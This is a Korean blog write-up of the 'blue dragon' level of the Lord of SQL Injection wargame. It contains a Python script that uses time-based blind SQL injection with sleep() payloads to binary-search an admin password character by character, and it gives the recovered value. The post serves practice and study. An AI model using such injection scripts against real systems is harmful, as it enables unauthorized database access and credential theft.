Osori Development Studio

[los] blue dragon 본문

전공쪽/Lord of Sql injection

[los] blue dragon

OSOR2 2020. 12. 15. 13:20

 '와 \를 검사해준다. 그리고 이번에는 패스워드까지 알아맞춰야 하는 brute force문제인 듯 하다. 

그런데 일단 쿼리가 한번 실행 되고 나서 \,'검사를 한다. 일단 time baesd로 어느정도 해결이 가능할 듯하다. 

지금까지 배운것들이 모두 가능하다는 전제하에 문제를 풀어야 될 것 같다. 

일단은 비밀번호의 길이 먼저 구해보겠다. 

일단 비밀번호의 길이는 8자인 것을 알아냈다. 이러면 상당히 쉬워진다. 

동일한 방법으로 비밀번호 8자만 구하면 된다. 

d948b8a0이 나왔다. 

#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vff***tab335qko"}
password=''
whole_time=0
for i in range(1,9) :
	url="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?"
	min=0
	max=0xff
	while True :
		k=int((max+min)/2)
		start=time.time()
		purl=url+"pw=' or if(id='admin' and ascii(substr(pw,"
		purl+=str(i)+',1))>'+str(k)+",sleep(2),1)%23"
		request=requests.get(purl,headers=header)
		interval=time.time()-start
		#print(purl)
		if interval>2 :
			min=k
		else :
			max=k
		k=int((max+min)/2)
		start=time.time()
		purl=url+"pw=' or if(id='admin' and ascii(substr(pw,"
		purl+=str(i)+',1))='+str(k)+",sleep(2),1)%23"
		request=requests.get(purl,headers=header)
		interval=time.time()-start
		if interval>2 :
			password+=chr(k)
			print('[+]'+password)
			break

print(password)


'전공쪽 > Lord of Sql injection' 카테고리의 다른 글

[los] phantom  (0) 2020.12.15
[los] frankenstein  (0) 2020.12.15
[los] red dragon  (0) 2020.12.15
[los] green dragon  (0) 2020.12.15
[los] evil_wizard  (0) 2020.12.15